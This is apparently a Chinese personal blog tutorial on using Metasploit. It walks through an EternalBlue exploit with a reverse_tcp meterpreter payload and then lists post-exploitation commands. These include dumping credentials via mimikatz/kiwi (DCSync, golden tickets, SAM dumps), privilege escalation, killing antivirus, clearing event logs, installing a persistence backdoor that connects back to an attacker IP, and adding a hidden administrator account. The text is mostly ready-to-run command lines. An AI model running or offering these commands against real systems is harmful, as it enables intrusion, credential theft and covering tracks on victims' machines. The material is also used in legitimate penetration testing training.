Drunkmars's Blog

msf使用详解

字数统计: 3.2k阅读时长: 12 min
2021/04/13

安装msf

在一般的linux中,默认是不安装MSF的。以下是在非kali的Linux下安装MSF框架。

一键安装

1
2
3
4
5
6
7
8
9
10
11
12
13
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall 

adduser msf #添加msf用户

su msf #切换到msf用户

cd /opt/metasploit-framework/bin #切换到msf所在的目录

./msfconsole #以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。如果使用root用户启动的话,不会同步数据库

也可以将msfconsole加入到执行目录下,这样在任何目录直接msfconsole就可以了

ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole

#备注:

#初次运行msf会创建数据库,但是msf默认使用的PostgreSQL数据库不能与root用户关联,这也这也就是需要新建用户msf来运行metasploit的原因所在。如果你一不小心手一抖,初次运行是在root用户下,请使用 msfdb reinit 命令,然后使用非root用户初始化数据库。

MSF后期的升级:msfupdate

使用方法

不同的攻击用到的步骤也不一样,这不是一成不变的,需要灵活使用。

我们也可以将攻击代码写入 configure.rc(只要是以 .rc 结尾的文件)配置文件中,然后使用命令msfconsole -r configure.rc进行自动攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

进入框架:msfconsole

使用search命令查找相关漏洞: search ms17-010

使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue

使用info查看模块信息: info

设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp

查看模块需要配置的参数:show options

设置参数:set RHOST 192.168.125.138

攻击:exploit / run

攻击载荷(payload)

Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

Shellcode:Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。

Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。

Metasploit中的 Payload 模块主要有以下三种类型:

-Single
-Stager
-Stage

Single是一种完全独立的Payload,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似 netcat这样的非metasploit处理工具所捕捉到。

Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。

Stage是StagerPayload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

在 Metasploit 中,我们可以通过Payload的名称和使用格式来推断它的类型:

1
2
3
Single Payload的格式为:<target>/ <single> 如:windows/powershell_bind_tcp
Stager/Stage Payload的格式为:<target>/ <stage> / <stager> 如:
windows/meterpreter/reverse_tcp

当我们在Metasploit中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表:

在这个列表中,像 windows/powershell_bind_tcp 就是一个Single Payload,它不包含Stage Payload

而 windows/meterpreter/reverse_tcp 则由一个Stage Payload(meterpreter)和 一个Stager Payload(reverse_tcp)组成

Stager中几种常见的payload

1
2
3
4
5
6
7
8
windows/meterpreter/bind_tcp    #正向连接

windows/meterpreter/reverse_tcp #反向连接,常用

windows/meterpreter/reverse_http #通过监听80端口反向连接

windows/meterpreter/reverse_https #通过监听443端口反向连接

正向连接使用场景:我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了

反向连接使用场景:我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。

反向连接80和443端口使用场景:被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信

meterpreter

Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。

Meterpreter是如何工作的?

首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过
socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。

Meterpreter的特点:

Meterpreter完全驻留在内存,没有写入到磁盘

Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程

默认情况下, Meterpreter的通信是加密的,所以很安全

扩展性,许多新的特征模块可以被加载。

我们在设置 payloads 时,可以将 payloads 设置为:windows/meterpreter/reverse_tcp ,然后获得了meterpreter> 之后我们就可以干很多事了

永恒之蓝模块

移步 https://drunkmars.top/2021/05/11/MS17_010%E6%A3%80%E6%B5%8B%E5%8F%8A%E6%89%93%E6%B3%95/

后渗透阶段

运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符meterpreter > 出现,我们输入: shell 即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit

我们要想从 meterpreter 退出到MSF框架,输入:background

输入: sessions -l 查看我们获得的shell,前面有id

输入: sessions -i 1 即可切换到id为1的shell

输入:shell 即可进入 cmd 类型的控制,再输入:powershell ,即可进入 powershell 类型的控制台

查看目标主机系统信息

sysinfo

查看目标主机详细信息

run scraper

导出密码的哈希

加载mimikatz

1
2
3
load kiwi

creds_all

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

creds_all:列举所有凭据

creds_kerberos:列举所有kerberos凭据

creds_msv:列举所有msv凭据

creds_ssp:列举所有ssp凭据

creds_tspkg:列举所有tspkg凭据

creds_wdigest:列举所有wdigest凭据

dcsync:通过DCSync检索用户帐户信息

dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID

golden_ticket_create:创建黄金票据

kerberos_ticket_list:列举kerberos票据

kerberos_ticket_purge:清除kerberos票据

kerberos_ticket_use:使用kerberos票据

kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令

lsa_dump_sam:dump出lsa的SAM

lsa_dump_secrets:dump出lsa的密文

password_change:修改密码

wifi_list:列出当前用户的wifi配置文件

wifi_list_shared:列出共享wifi配置文件/编码

查看目标主机进程信息

1
ps

将当前Meterpreter Shell的进程迁移到PID为512的进程上

1
migrate 512

自动迁移进程

1
run post/windows/manage/migrate

查看目标当前目录(windows)

1
pwd

查看目标当前目录(Linux)

1
getlwd

搜索C盘中所有以.jsp为后缀的文件

1
search -f *.jsp -d c:\ 

将目标机的e:\test.txt文件下载到/root目录下

1
download e:\test.txt /root

将/root/test.txt上传到目标机的 d:\test\ 目录

1
upload /root/test.txt d:\test 

查看当前Meterpreter Shell的进程PID

1
getpid

查看主机运行时间

1
idletime

查看获取的当前权限

1
getuid

提权(Administrator -> system)

1
getsystem

关闭杀毒软件

1
run killav

截图

1
screenshot

启用远程桌面

当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的getgui
脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启),我们输入:
run getgui -e 或者 run post/windows/manage/enable_rdp

在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长:

idletime

开启远程桌面

1
run getgui -e

反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀

1
run persistence -X -i 5 -p 8888 -r 192.168.10.27

将192.168.11.13的3389端口转发到本地的3389端口上

1
portfwd add -l 3389 -r 192.168.11.13 -p 3389

清除日志

1
clearev

查看主机是否运行在虚拟机上

1
run post/windows/gather/checkvm

访问文件系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14

cd:切换目标目录;

cat:读取文件内容;

rm:删除文件;

edit:使用vim编辑文件

ls:获取当前目录下的文件;

mkdir:新建目录;

rmdir:删除目录;

运行程序

先查看目标主机安装了哪些应用

1
run post/windows/gather/enum_applications

执行文件

execute 参数 -f 可执行文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

-f:指定可执行文件

-H:创建一个隐藏进程

-a:传递给命令的参数

-i: 跟进程进行交互

-m:从内存中执行

execute 参数 -f 可执行文件

-t: 使用当前伪造的线程令牌运行进程

-s: 在给定会话中执行进程

创建一个新账号

先查看目标主机有哪些用户

1
run post/windows/gather/enum_logged_on_users

接下来,我们可以在目标系统中创建一个新的用户账号:run getgui -u hack -p 123,这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。

这里成功创建了用户,但是添加到Administrators组中失败了,如果添加到Administrators组中失败了的话,我们可以运行:shell ,进行cmd窗口手动将该用户添加到administrators组中。

权限维持

用msf生成一个后门放到windows的启动目录中

1
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

socks代理&portfwd端口转发

传送门:https://drunkmars.top/2021/05/08/%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E7%9A%84n%E7%A7%8D%E5%A7%BF%E5%8A%BF/#msf

导入并执行PowerShell脚本

1
2
3
4
5
6
7
8
9
load powershell       #加载powershell功能

powershell_import /root/PowerView.ps1 #导入powershell脚本,提前将该powershell脚本放到指定目录

powershell_execute Get-NetDomain #执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块

powershell_execute Invoke-UserHunter #该功能模块用于定位域管理员登录的主机

powershell_execute Get-NetForest #该模块用于定位域信息

加载stdapi

有时候虽然我们获取到了meterpreter,但是执行一些命令会显示没有该命令,这时我们可以执行:load stdapi来加载,这样我们就可以执行命令了。

升级session

有时候,当我们收到的不是 meterpreter 类型的 session 的话,可能不好操作。

我们可以执行命令sessions -u id 来升级session。

执行该命令,默认调用的是post/multi/manage/shell_to_meterpreter 模块。

CATALOG
  1. 1. 安装msf
  2. 2. 使用方法
  3. 3. 攻击载荷(payload)
  4. 4. Stager中几种常见的payload
  5. 5. meterpreter
  6. 6. 永恒之蓝模块
  7. 7. 后渗透阶段
  8. 8. 查看目标主机系统信息
  9. 9. 查看目标主机详细信息
  10. 10. 导出密码的哈希
  11. 11. 加载mimikatz
  12. 12. 查看目标主机进程信息
  13. 13. 将当前Meterpreter Shell的进程迁移到PID为512的进程上
  14. 14. 自动迁移进程
  15. 15. 查看目标当前目录(windows)
  16. 16. 查看目标当前目录(Linux)
  17. 17. 搜索C盘中所有以.jsp为后缀的文件
  18. 18. 将目标机的e:\test.txt文件下载到/root目录下
  19. 19. 将/root/test.txt上传到目标机的 d:\test\ 目录
  20. 20. 查看当前Meterpreter Shell的进程PID
  21. 21. 查看主机运行时间
  22. 22. 查看获取的当前权限
  23. 23. 提权(Administrator -> system)
  24. 24. 关闭杀毒软件
  25. 25. 截图
  26. 26. 启用远程桌面
  27. 27. 开启远程桌面
  28. 28. 反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀
  29. 29. 将192.168.11.13的3389端口转发到本地的3389端口上
  30. 30. 清除日志
  31. 31. 查看主机是否运行在虚拟机上
  32. 32. 访问文件系统
  33. 33. 运行程序
  34. 34. 权限维持
  35. 35. 导入并执行PowerShell脚本
  36. 36. 加载stdapi
  37. 37. 升级session